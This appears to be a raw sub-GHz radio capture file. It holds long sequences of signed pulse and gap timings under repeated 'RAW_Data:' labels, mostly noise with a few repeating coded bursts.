-62 63 -64 63 -64 63 -128 127 -64 61 -64 61 -64 61 -64 63 -128 63 -64 61 -64 127 -64 63 -62 63 -126 129 -128 127 -128 125 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 63 -64 61 -64 127 -128 63 -64 125 -64 61 -64 61 -128 129 -128 63 -62 125 -128 323 -546 85 -256 51 -90 67 -58 51 -164 79 -571 83 -111 77 -178 71 -58 167 -62 85 -117 79 -250 89 -282 63 -234 61 -102 150 -211 116 -114 53 -84 51 -127 124 -273 160 -83 53 -130 75 -241 79 -139 81 -153 51 -96 128 -372 87 -244 142 -246 67 -144 82 -552 127 -193 69 -180 63 -879 96 -845 51 -90 154 -176 207 -862 87 -664 65 -140 71 -266 113 -134 53 -443 53 -70 123 -167 89 -148 77 -136 53 -118 97 -179 61 -118 73 -128 59 -307 93 -358 57 -58 53 -193 69 -577 170 -158 53 -170 92 -108 71 -70 51 -1372 61 -423 103 -381 53 -207 79 -232 67 -116 53 -108 178 -88 53 -261 69 -367 -RAW_Data: 142 -257 96 -129 122 -80 96 -378 59 -136 53 -498 51 -114 59 -98 53 -881 89 -158 51 -68 83 -240 53 -52 59 -150 85 -79 106 -210 252 -204 71 -159 77 -154 61 -150 106 -313 94 -108 53 -665 101 -317 105 -150 71 -333 57 -128 51 -168 59 -136 59 -84 59 -665 98 -179 151 -88 93 -236 111 -152 131 -54 89 -229 59 -70 129 -314 248 -115 83 -169 71 -106 169 -187 59 -52 71 -213 71 -164 103 -120 67 -76 67 -130 59 -107 135 -341 53 -494 59 -462 61 -106 81 -107 117 -147 132 -357 51 -58 96 -299 51 -438 65 -148 113 -72 51 -166 119 -150 69 -180 111 -136 75 -99 117 -183 63 -112 107 -52 67 -80 95 -518 61 -195 77 -165 63 -80 149 -233 77 -404 63 -193 111 -72 71 -269 378 -431 79 -54 135 -72 146 -196 97 -91 143 -125 83 -186 69 -224 81 -133 168 -52 154 -68 166 -244 99 -80 144 -292 108 -172 61 -68 89 -239 104 -248 288 -168 85 -408 55 -112 192 -184 51 -80 93 -152 158 -170 71 -105 53 -161 213 -151 77 -293 73 -76 274 -175 69 -60 194 -99 106 -356 61 -82 71 -110 162 -85 123 -392 61 -114 135 -90 97 -385 122 -255 79 -284 181 -386 51 -320 120 -324 65 -100 89 -345 61 -108 81 -107 53 -257 95 -250 71 -377 75 -60 126 -443 73 -60 67 -194 76 -195 53 -80 53 -90 51 -54 77 -80 125 -232 63 -456 71 -100 89 -98 105 -1166 73 -98 59 -112 67 -54 71 -102 61 -199 79 -276 98 -70 107 -502 67 -129 97 -167 51 -187 83 -110 73 -480 63 -513 183 -238 53 -367 91 -436 69 -620 61 -539 51 -306 75 -366 106 -100 75 -112 53 -335 53 -400 51 -226 61 -68 173 -144 71 -56 153 -269 89 -257 79 -806 81 -954 51 -98 87 -400 53 -208 61 -252 61 -645 127 -430 132 -211 95 -433 230 -159 71 -98 51 -100 69 -52 136 -64 59 -149 51 -397 53 -292 78 -268 246 -54 85 -78 110 -331 59 -601 83 -120 69 -66 71 -334 64 -231 53 -82 59 -627 95 -212 63 -908 53 -521 53 -161 61 -473 88 -183 101 -144 53 -64 71 -72 51 -211 71 -114 79 -794 105 -911 83 -797 57 -54 78 -459 67 -52 185 -236 89 -777 75 -391 89 -126 86 -483 99 -334 141 -60 65 -211 69 -567 87 -143 59 -237 162 -289 124 -200 71 -98 106 -595 106 -470 51 -58 78 -249 53 -244 67 -294 67 -658 51 -58 75 -317 53 -120 119 -431 53 -170 53 -185 107 -90 103 -196 99 -294 61 -216 167 -119 -RAW_Data: 51 -108 167 -134 53 -143 114 -146 69 -160 104 -190 67 -202 159 -190 125 -233 297 -70 211 -174 150 -196 179 -145 202 -64 422 -52 87 -62 75 -80 192 -113 160 -72 79 -62 171 -242 177 -66 85 -56 93 -89 103 -198 97 -347 153 -277 165 -82 107 -145 161 -108 57 -116 87 -70 308 -92 101 -74 99 -62 188 -186 61 -335 206 -106 252 -60 63 -181 121 -96 251 -310 136 -54 71 -116 51 -146 162 -66 75 -52 238 -88 193 -360 87 -92 51 -211 73 -88 167 -96 96 -64 169 -134 182 -100 124 -88 61 -84 69 -76 220 -72 82 -64 131 -80 59 -140 139 -112 101 -108 97 -147 120 -58 249 -60 89 -98 173 -52 152 -72 61 -145 221 -108 320 -343 71 -90 84 -80 61 -52 67 -60 170 -319 161 -139 165 -62 107 -116 134 -253 140 -163 135 -107 249 -80 343 -80 81 -92 88 -518 55 -194 51 -142 107 -114 178 -360 63 -52 61 -313 73 -62 134 -103 144 -186 137 -114 69 -210 51 -52 117 -92 73 -80 53 -318 51 -54 79 -354 53 -207 134 -82 93 -136 69 -348 77 -467 73 -147 67 -104 69 -563 89 -102 63 -179 79 -436 92 -158 80 -200 59 -530 65 -84 75 -78 67 -141 57 -370 67 -399 81 -90 126 -66 114 -204 65 -202 106 -64 55 -74 113 -174 71 -152 101 -116 119 -213 53 -590 137 -216 67 -209 83 -785 198 -239 61 -408 51 -80 81 -321 71 -363 81 -175 83 -54 51 -334 73 -82 115 -358 77 -1108 79 -134 121 -60 51 -557 81 -134 121 -269 59 -104 76 -72 71 -683 53 -98 95 -339 116 -261 61 -342 110 -296 71 -122 51 -510 59 -216 107 -196 51 -188 186 -308 133 -134 51 -219 59 -1179 51 -274 137 -557 61 -126 255 -182 88 -72 109 -268 211 -118 79 -106 55 -122 53 -113 79 -96 136 -717 63 -542 103 -443 288 -223 59 -74 143 -96 217 -184 83 -54 136 -139 63 -313 139 -340 51 -159 53 -354 79 -254 53 -245 365 -245 129 -260 59 -96 69 -364 82 -188 63 -206 103 -98 55 -218 59 -382 69 -662 130 -254 63 -344 89 -370 63 -221 86 -134 87 -110 97 -481 70 -244 151 -64 119 -116 53 -162 69 -319 167 -194 107 -516 57 -215 69 -206 98 -620 61 -340 77 -254 64 -186 65 -141 71 -513 51 -104 51 -122 51 -1328 77 -190 57 -126 71 -385 71 -98 152 -566 134 -62 53 -319 160 -144 170 -164 96 -474 51 -152 53 -158 63 -238 153 -211 59 -90 63 -184 55 -104 59 -219 143 -89 51 -160 124 -587 111 -98 71 -92 -RAW_Data: 67 -310 183 -425 79 -405 71 -1355 102 -52 51 -212 90 -236 59 -116 51 -834 51 -325 71 -54 122 -90 53 -617 142 -224 65 -129 59 -52 57 -460 51 -310 53 -336 61 -56 51 -60 59 -136 89 -227 109 -347 53 -1039 53 -178 59 -200 59 -165 67 -165 174 -102 71 -90 185 -206 64 -80 71 -246 51 -731 129 -251 125 -62 103 -62 98 -452 67 -60 88 -191 55 -150 71 -551 67 -266 81 -480 85 -502 78 -72 153 -252 135 -890 69 -96 112 -559 97 -119 71 -764 85 -54 61 -430 57 -271 117 -917 63 -242 65 -98 102 -98 53 -90 110 -105 220 -270 63 -512 53 -78 87 -142 126 -54 71 -72 96 -154 96 -54 63 -197 71 -162 89 -660 866 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 -RAW_Data: 209 -277 172 -76 121 -494 105 -546 61 -126 117 -58 235 -162 88 -64 61 -70 107 -52 81 -689 61 -93 133 -838 108 -114 91 -152 130 -160 79 -88 71 -270 61 -136 71 -124 79 -350 67 -945 156 -126 108 -74 77 -134 63 -54 71 -713 105 -292 65 -52 59 -66 73 -102 79 -563 210 -385 113 -226 75 -261 53 -265 73 -106 168 -508 53 -160 61 -150 51 -122 121 -356 71 -175 65 -277 77 -160 91 -774 78 -116 75 -702 78 -54 53 -72 103 -394 59 -371 61 -54 67 -60 141 -227 124 -89 189 -753 59 -114 57 -336 71 -178 59 -344 57 -194 78 -342 79 -464 63 -190 67 -204 97 -1302 59 -609 72 -88 53 -147 73 -160 166 -144 57 -191 117 -162 96 -104 53 -306 51 -527 61 -201 59 -118 59 -68 69 -160 63 -152 191 -641 78 -1096 87 -64 53 -205 57 -249 89 -226 61 -612 61 -102 97 -411 81 -465 51 -74 59 -261 69 -189 65 -186 79 -110 143 -184 85 -136 137 -62 78 -72 51 -66 193 -140 212 -378 75 -246 61 -416 51 -54 160 -155 178 -90 99 -394 97 -850 180 -140 116 -366 125 -305 1085 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -64 61 -126 65 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -66 61 -126 65 -62 63 -62 127 -128 63 -64 61 -62 63 -64 63 -62 127 -130 63 -62 61 -64 127 -128 127 -56 69 -128 127 -128 127 -118 63 -62 133 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -128 63 -62 63 -62 63 -64 127 -128 63 -64 61 -62 63 -64 127 -128 127 -56 69 -64 61 -64 63 -128 127 -128 63 -62 125 -128 63 -64 61 -62 127 -66 61 -128 63 -64 125 -64 63 -62 63 -128 63 -62 63 -64 125 -64 63 -64 61 -64 -RAW_Data: 63 -128 63 -64 61 -64 61 -64 63 -64 63 -64 361 -110 57 -249 96 -245 143 -405 122 -142 67 -68 104 -515 83 -86 53 -488 89 -214 131 -138 63 -96 81 -370 61 -212 67 -445 59 -611 59 -705 59 -116 73 -200 218 -417 63 -489 122 -184 115 -361 71 -96 71 -233 81 -366 61 -62 119 -290 105 -544 51 -475 71 -187 51 -207 178 -683 89 -263 51 -98 59 -359 91 -128 59 -700 65 -447 51 -144 63 -89 78 -54 61 -92 84 -550 75 -192 75 -159 59 -1304 134 -877 59 -617 63 -724 81 -233 160 -187 91 -244 97 -206 87 -302 53 -265 75 -72 67 -706 79 -106 51 -184 53 -1213 67 -92 103 -342 106 -358 53 -54 53 -98 463 -572 71 -289 107 -154 71 -184 107 -370 61 -54 53 -152 71 -251 110 -125 79 -132 109 -116 51 -112 102 -66 53 -143 86 -80 86 -344 99 -358 156 -295 65 -326 53 -82 63 -479 79 -470 59 -114 59 -246 67 -60 100 -130 83 -231 71 -191 105 -60 106 -89 59 -544 57 -544 89 -280 51 -120 75 -520 57 -140 51 -175 53 -470 53 -74 67 -193 73 -375 59 -406 117 -179 98 -107 53 -279 61 -68 81 -162 87 -220 71 -243 71 -402 115 -208 53 -88 121 -812 73 -64 73 -440 89 -80 53 -162 91 -168 89 -866 76 -60 160 -130 59 -206 89 -354 70 -255 75 -164 115 -296 61 -504 75 -228 53 -201 79 -303 59 -117 114 -304 89 -125 78 -130 53 -264 113 -60 87 -218 292 -88 87 -316 101 -230 59 -183 61 -118 53 -170 71 -335 84 -96 105 -171 87 -293 51 -256 77 -138 115 -223 123 -114 149 -309 101 -183 87 -68 63 -102 124 -471 71 -104 63 -223 179 -374 75 -116 59 -243 186 -234 55 -208 61 -54 69 -112 61 -66 88 -60 271 -160 53 -368 76 -303 121 -287 91 -104 99 -309 121 -174 196 -114 77 -306 71 -62 209 -98 214 -72 51 -80 107 -131 83 -289 89 -76 51 -66 85 -82 87 -158 51 -115 114 -54 53 -144 53 -90 53 -172 51 -196 174 -113 210 -62 69 -98 59 -54 130 -89 61 -175 318 -496 112 -387 61 -185 93 -259 104 -324 67 -365 99 -393 95 -124 168 -559 73 -156 171 -278 67 -211 79 -76 59 -532 143 -706 51 -320 55 -126 59 -497 53 -378 73 -170 89 -425 81 -62 61 -153 53 -950 69 -154 79 -168 91 -697 51 -265 69 -64 71 -411 89 -68 63 -1128 90 -219 53 -72 55 -240 63 -160 306 -201 128 -134 117 -498 77 -411 51 -216 92 -82 165 -579 69 -280 51 -191 79 -964 -RAW_Data: 79 -197 91 -76 94 -277 186 -157 53 -166 53 -274 73 -699 87 -608 73 -665 279 -128 183 -106 55 -272 57 -1123 51 -402 87 -531 81 -756 65 -362 93 -282 51 -132 51 -72 51 -522 87 -68 261 -98 59 -82 67 -955 53 -52 89 -195 51 -130 89 -108 106 -130 53 -108 122 -177 79 -289 63 -98 124 -198 106 -163 69 -203 59 -164 102 -526 51 -448 83 -56 51 -209 71 -136 53 -54 88 -283 51 -1331 125 -189 51 -72 53 -454 53 -56 53 -72 65 -124 168 -350 55 -235 231 -338 116 -64 89 -175 101 -220 87 -130 170 -322 208 -146 168 -168 89 -100 177 -168 61 -76 187 -52 193 -84 125 -102 116 -92 157 -263 179 -110 95 -106 102 -336 129 -163 91 -88 280 -52 53 -144 51 -138 110 -60 109 -96 133 -123 85 -413 142 -122 69 -54 65 -133 57 -159 59 -145 127 -349 53 -104 132 -70 57 -62 59 -571 59 -70 99 -133 53 -60 59 -56 95 -125 247 -52 109 -89 151 -112 77 -179 77 -143 57 -176 53 -72 71 -162 140 -60 86 -238 51 -102 61 -52 61 -161 293 -316 212 -86 51 -121 51 -450 53 -419 53 -439 53 -213 63 -72 59 -295 71 -132 77 -210 57 -88 53 -100 77 -220 53 -210 51 -78 79 -52 201 -172 77 -52 111 -289 65 -124 88 -52 63 -432 61 -62 53 -658 130 -418 142 -591 90 -100 89 -68 159 -88 102 -60 53 -343 137 -296 147 -293 67 -362 71 -72 125 -191 132 -619 88 -222 67 -769 204 -82 77 -88 67 -443 75 -637 71 -174 89 -100 163 -168 71 -314 77 -162 63 -197 61 -161 71 -268 53 -281 71 -134 126 -96 53 -68 101 -142 61 -242 81 -499 150 -72 106 -749 107 -148 75 -326 201 -257 105 -747 71 -531 67 -258 77 -431 75 -162 101 -369 99 -102 95 -178 61 -173 59 -232 99 -112 53 -260 65 -264 61 -290 79 -78 133 -206 59 -749 81 -647 69 -52 101 -90 154 -78 59 -245 59 -70 112 -389 241 -362 226 -289 142 -132 105 -106 105 -124 184 -88 51 -446 147 -134 121 -697 51 -756 117 -54 157 -752 89 -180 61 -432 132 -64 53 -292 82 -100 65 -195 113 -62 68 -849 105 -395 71 -175 63 -126 114 -252 71 -64 79 -228 78 -242 51 -120 59 -154 117 -595 97 -237 71 -126 53 -452 81 -116 113 -142 75 -134 182 -117 86 -76 63 -82 122 -351 71 -856 74 -88 97 -944 78 -56 63 -170 99 -80 79 -488 53 -91 53 -307 559 -56 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 -RAW_Data: 89 -70 196 -241 179 -82 107 -153 53 -129 79 -559 53 -767 61 -228 81 -128 89 -133 87 -545 53 -192 138 -491 71 -243 81 -118 53 -80 51 -108 80 -287 53 -186 71 -60 69 -303 129 -186 61 -392 164 -264 81 -84 220 -98 89 -156 59 -352 133 -88 51 -82 79 -168 94 -581 89 -1389 61 -204 146 -60 61 -108 106 -115 73 -1340 53 -79 57 -163 63 -1110 111 -210 81 -384 67 -402 144 -307 113 -343 88 -194 252 -96 61 -222 87 -247 163 -62 55 -165 67 -171 134 -590 69 -234 103 -204 51 -319 111 -52 59 -281 75 -112 84 -347 235 -670 75 -82 1323 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 127 -128 127 -118 135 -56 69 -126 127 -128 127 -120 63 -62 131 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -128 63 -64 61 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 127 -64 63 -62 63 -62 63 -64 61 -64 63 -64 63 -128 63 -64 61 -64 63 -62 127 -130 63 -62 61 -64 61 -64 127 -128 127 -58 69 -62 61 -64 63 -128 127 -128 63 -62 125 -130 63 -62 61 -64 125 -66 61 -128 63 -64 125 -64 63 -64 61 -128 63 -64 61 -64 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 127 -128 63 -64 311 -169 79 -62 57 -352 71 -287 71 -136 90 -293 51 -238 71 -262 53 -417 67 -94 196 -100 69 -104 185 -158 114 -192 53 -345 79 -62 77 -696 96 -324 67 -89 63 -495 116 -70 63 -141 107 -125 121 -457 71 -82 89 -226 128 -369 51 -772 98 -204 79 -219 53 -320 57 -142 61 -170 53 -269 120 -98 121 -64 53 -398 53 -196 53 -324 84 -119 57 -172 83 -1513 150 -591 76 -359 124 -266 89 -88 67 -378 85 -99 61 -54 -RAW_Data: 59 -84 61 -316 96 -99 100 -305 109 -200 55 -322 81 -439 59 -159 67 -124 51 -52 82 -52 59 -223 88 -82 194 -185 81 -635 87 -98 51 -430 59 -308 53 -136 79 -313 61 -112 113 -248 61 -82 141 -162 95 -168 104 -118 53 -188 84 -652 128 -295 75 -68 106 -72 73 -464 102 -383 53 -213 61 -152 63 -224 79 -361 129 -134 53 -162 77 -171 109 -200 81 -450 136 -80 53 -62 53 -62 152 -136 53 -317 123 -283 53 -152 120 -363 51 -104 157 -204 77 -362 53 -418 88 -233 89 -699 51 -180 106 -157 78 -202 79 -409 53 -180 94 -260 59 -312 61 -96 73 -78 59 -201 143 -347 75 -90 71 -437 57 -194 69 -519 88 -647 137 -474 89 -150 77 -331 57 -451 92 -54 67 -261 55 -130 53 -182 189 -126 103 -134 59 -149 89 -96 89 -148 114 -64 138 -172 122 -52 106 -239 130 -180 77 -52 143 -73 53 -54 111 -104 55 -219 89 -293 67 -332 148 -114 87 -124 75 -62 59 -118 125 -84 63 -72 79 -142 77 -125 53 -72 182 -241 61 -52 57 -210 119 -74 87 -261 147 -76 95 -110 59 -52 96 -566 83 -181 53 -170 79 -54 79 -139 53 -326 106 -209 99 -62 89 -239 94 -146 53 -92 85 -135 95 -494 138 -272 53 -175 63 -160 69 -80 63 -98 196 -172 175 -144 51 -52 55 -186 59 -199 171 -101 149 -62 133 -847 51 -470 61 -337 233 -153 149 -263 53 -153 61 -144 141 -210 61 -253 136 -262 57 -272 111 -226 61 -307 75 -527 59 -208 88 -100 79 -150 53 -377 61 -82 61 -334 65 -233 91 -341 59 -757 94 -220 77 -132 98 -588 83 -100 59 -295 75 -242 51 -76 51 -114 77 -515 67 -632 65 -286 51 -118 193 -126 51 -239 131 -431 59 -648 87 -141 148 -163 80 -149 53 -68 63 -431 67 -99 51 -396 110 -292 125 -285 117 -187 59 -445 71 -289 71 -64 101 -328 131 -236 71 -401 59 -760 63 -427 67 -98 55 -102 63 -264 87 -389 73 -106 53 -249 89 -581 51 -266 86 -300 53 -649 67 -429 85 -927 53 -175 67 -985 105 -238 59 -175 89 -150 65 -62 163 -251 57 -373 59 -774 75 -345 79 -242 104 -58 170 -485 71 -78 170 -166 61 -62 81 -90 53 -80 99 -365 67 -269 116 -270 179 -142 243 -372 114 -549 88 -823 81 -1122 128 -98 61 -505 148 -204 99 -345 97 -406 141 -488 53 -299 61 -199 78 -262 63 -268 59 -288 136 -534 59 -348 51 -232 71 -98 108 -1073 57 -261 53 -467 101 -307 67 -277 127 -110 415 -310 -RAW_Data: 143 -118 53 -116 59 -64 81 -80 118 -102 150 -82 67 -83 128 -174 138 -140 118 -160 121 -805 55 -62 89 -161 79 -52 85 -54 196 -77 85 -191 81 -242 51 -89 135 -152 51 -201 161 -158 71 -287 202 -56 67 -103 51 -144 164 -100 99 -277 77 -104 89 -124 71 -229 123 -309 63 -188 66 -170 69 -243 67 -287 155 -126 149 -307 269 -177 71 -82 125 -208 75 -178 71 -590 53 -88 189 -236 77 -128 611 -82 254 -456 83 -184 184 -159 73 -68 73 -120 95 -76 124 -158 110 -60 73 -2077 114 -150 86 -92 73 -239 95 -176 99 -140 67 -395 87 -295 111 -219 95 -324 73 -135 51 -554 69 -100 59 -202 87 -172 105 -1131 59 -76 53 -143 87 -132 92 -1368 57 -256 67 -58 99 -114 67 -364 51 -162 124 -152 97 -392 125 -72 63 -841 71 -207 96 -379 73 -178 73 -90 130 -142 103 -417 70 -181 105 -102 73 -92 73 -422 74 -252 53 -241 80 -319 51 -692 53 -90 79 -195 63 -92 57 -324 93 -188 158 -90 92 -187 51 -148 81 -303 63 -258 53 -100 69 -147 53 -302 92 -66 61 -118 53 -90 53 -98 69 -216 61 -360 115 -265 222 -323 77 -80 207 -194 51 -235 89 -247 51 -98 57 -623 183 -133 71 -474 90 -123 61 -62 127 -232 113 -191 51 -183 125 -106 119 -280 77 -476 115 -106 51 -210 112 -174 59 -369 201 -316 107 -449 53 -150 170 -700 67 -333 59 -141 51 -285 51 -76 73 -585 77 -66 51 -130 107 -90 93 -216 67 -508 53 -293 65 -177 105 -462 71 -337 69 -88 106 -357 86 -673 63 -90 53 -571 126 -144 53 -172 85 -212 51 -473 61 -108 113 -70 73 -553 51 -204 96 -326 61 -155 80 -72 68 -330 63 -90 59 -120 55 -54 63 -136 80 -98 67 -94 71 -499 106 -116 96 -64 61 -162 51 -417 129 -98 99 -115 91 -945 110 -132 99 -88 71 -548 117 -142 87 -64 61 -198 57 -646 63 -229 99 -337 67 -563 76 -92 55 -72 151 -232 81 -156 53 -584 71 -98 53 -375 98 -117 114 -52 67 -110 55 -394 63 -80 71 -269 67 -528 61 -68 127 -240 53 -290 77 -176 55 -460 69 -90 63 -90 95 -72 71 -187 130 -195 67 -892 96 -314 83 -184 53 -233 61 -102 87 -690 57 -384 79 -108 57 -190 51 -771 79 -72 67 -253 79 -77 160 -375 97 -410 57 -134 73 -84 63 -681 86 -160 75 -418 53 -98 212 -215 71 -1116 63 -627 59 -360 71 -70 71 -314 51 -218 51 -132 130 -164 124 -54 89 -324 79 -142 57 -208 -RAW_Data: 51 -396 67 -112 67 -254 51 -277 69 -190 147 -70 51 -392 104 -694 225 -318 51 -180 67 -1149 118 -107 67 -92 65 -310 57 -90 137 -354 61 -134 78 -597 51 -265 51 -130 55 -124 51 -699 73 -92 96 -347 71 -242 59 -492 76 -96 57 -298 79 -116 113 -282 61 -54 117 -135 69 -1246 61 -342 53 -198 97 -226 69 -485 106 -152 51 -286 63 -90 124 -92 53 -267 59 -104 86 -394 222 -817 61 -485 75 -384 121 -396 87 -118 105 -60 71 -532 53 -58 71 -182 55 -126 88 -342 53 -262 92 -143 53 -296 186 -154 71 -212 88 -377 91 -121 77 -344 57 -240 97 -160 59 -91 149 -322 125 -476 107 -629 53 -136 87 -495 63 -145 108 -266 51 -148 75 -214 83 -225 71 -179 96 -60 51 -329 61 -857 71 -178 92 -77 77 -110 124 -343 83 -435 113 -64 115 -80 104 -363 65 -404 109 -62 53 -253 55 -471 103 -179 104 -323 51 -380 103 -96 53 -52 118 -124 53 -139 104 -479 140 -81 61 -135 114 -82 71 -146 77 -428 83 -323 116 -301 119 -362 55 -383 63 -52 51 -52 89 -54 53 -298 100 -405 109 -625 63 -445 111 -114 89 -181 98 -86 151 -218 61 -204 63 -440 61 -98 71 -64 61 -718 77 -216 53 -82 93 -198 87 -702 87 -62 53 -469 61 -221 61 -278 53 -213 100 -1516 67 -96 51 -483 61 -150 53 -231 124 -770 61 -321 115 -190 91 -401 95 -160 61 -266 90 -68 69 -60 197 -388 87 -222 73 -646 121 -1477 51 -402 107 -332 63 -104 67 -201 67 -286 71 -189 51 -491 53 -248 61 -164 59 -80 61 -215 67 -299 51 -92 71 -274 59 -60 131 -172 53 -421 103 -216 93 -60 61 -295 97 -60 83 -470 281 -90 59 -1499 73 -224 61 -801 51 -142 82 -369 67 -816 134 -616 63 -370 59 -413 106 -162 71 -955 91 -112 83 -321 133 -347 53 -60 194 -191 59 -243 191 -217 77 -367 59 -152 80 -68 201 -494 53 -99 75 -138 107 -72 61 -142 55 -282 131 -431 113 -120 80 -224 67 -152 148 -74 78 -412 67 -64 51 -435 71 -90 95 -147 84 -54 79 -74 77 -972 51 -155 51 -478 110 -110 51 -357 59 -335 51 -194 53 -276 81 -440 53 -528 69 -154 79 -248 69 -256 53 -80 53 -232 105 -76 67 -102 61 -108 97 -240 51 -271 130 -364 83 -136 81 -84 134 -112 65 -86 119 -80 53 -194 137 -268 189 -763 53 -339 53 -258 93 -900 111 -259 83 -178 102 -167 87 -704 80 -693 170 -80 73 -196 97 -54 51 -349 172 -173 87 -461 -RAW_Data: 81 -204 75 -80 88 -174 106 -162 111 -688 77 -241 53 -600 53 -161 201 -284 53 -449 112 -171 53 -68 110 -98 86 -142 65 -93 314 -143 79 -232 79 -442 63 -402 70 -565 99 -218 96 -472 137 -375 61 -266 61 -337 77 -283 73 -433 77 -1246 96 -99 53 -64 86 -250 63 -134 81 -832 67 -291 283 -249 88 -627 61 -486 57 -310 51 -734 75 -142 53 -196 153 -174 61 -154 125 -64 59 -116 71 -307 53 -490 107 -162 113 -679 132 -272 53 -454 53 -267 57 -107 107 -72 85 -352 53 -154 59 -231 59 -210 53 -679 57 -82 51 -264 79 -258 78 -216 110 -64 109 -636 99 -392 53 -152 63 -329 112 -68 59 -897 105 -204 81 -140 57 -281 105 -301 111 -206 51 -64 57 -321 112 -294 96 -60 127 -323 81 -141 53 -140 59 -132 147 -207 221 -463 67 -314 113 -168 55 -141 146 -78 57 -138 53 -336 107 -187 51 -464 53 -134 53 -433 83 -69 51 -98 67 -448 101 -94 81 -232 94 -275 76 -90 93 -94 131 -110 53 -181 65 -328 99 -247 139 -98 97 -62 59 -263 63 -298 71 -170 73 -236 90 -217 51 -234 109 -391 73 -62 177 -54 87 -303 59 -160 83 -386 215 -100 97 -112 65 -92 156 -825 67 -299 89 -84 95 -232 53 -487 67 -315 132 -702 53 -72 53 -256 105 -852 161 -96 158 -100 69 -170 59 -511 53 -500 79 -113 71 -72 85 -124 69 -361 128 -354 51 -58 97 -100 114 -148 69 -151 51 -225 81 -98 53 -162 63 -148 57 -58 123 -519 71 -212 79 -597 164 -468 65 -160 53 -470 193 -317 97 -104 57 -479 79 -403 53 -802 113 -365 61 -108 57 -191 71 -435 65 -573 81 -354 88 -217 83 -530 79 -259 61 -72 105 -761 67 -322 124 -54 53 -652 83 -372 53 -114 69 -188 71 -72 65 -126 67 -271 89 -239 61 -187 115 -283 51 -108 55 -118 165 -308 53 -153 88 -360 83 -460 106 -171 88 -111 129 -121 59 -318 89 -266 53 -62 155 -60 53 -76 61 -194 59 -569 53 -54 59 -257 59 -60 61 -843 63 -174 73 -148 172 -366 53 -901 113 -330 61 -214 53 -291 65 -1012 51 -120 125 -571 75 -134 73 -54 65 -364 79 -649 96 -227 88 -261 221 -54 138 -200 97 -114 131 -62 96 -361 93 -384 125 -211 61 -100 81 -274 65 -436 149 -191 89 -76 118 -712 59 -346 63 -223 119 -567 89 -454 63 -62 85 -76 90 -312 63 -132 51 -124 143 -68 69 -112 88 -170 53 -130 126 -274 55 -1138 107 -98 65 -92 55 -217 53 -140 160 -148 -RAW_Data: 65 -374 53 -116 157 -254 51 -119 99 -189 79 -350 71 -142 53 -341 61 -203 93 -154 51 -484 99 -134 61 -68 53 -103 132 -588 87 -279 59 -203 51 -620 55 -224 53 -120 61 -152 79 -295 125 -206 63 -511 51 -188 114 -72 63 -235 171 -108 91 -186 57 -158 96 -337 53 -176 51 -146 101 -202 97 -335 106 -110 59 -321 107 -169 135 -772 51 -305 139 -144 96 -210 125 -72 69 -485 75 -624 72 -112 51 -58 79 -227 105 -219 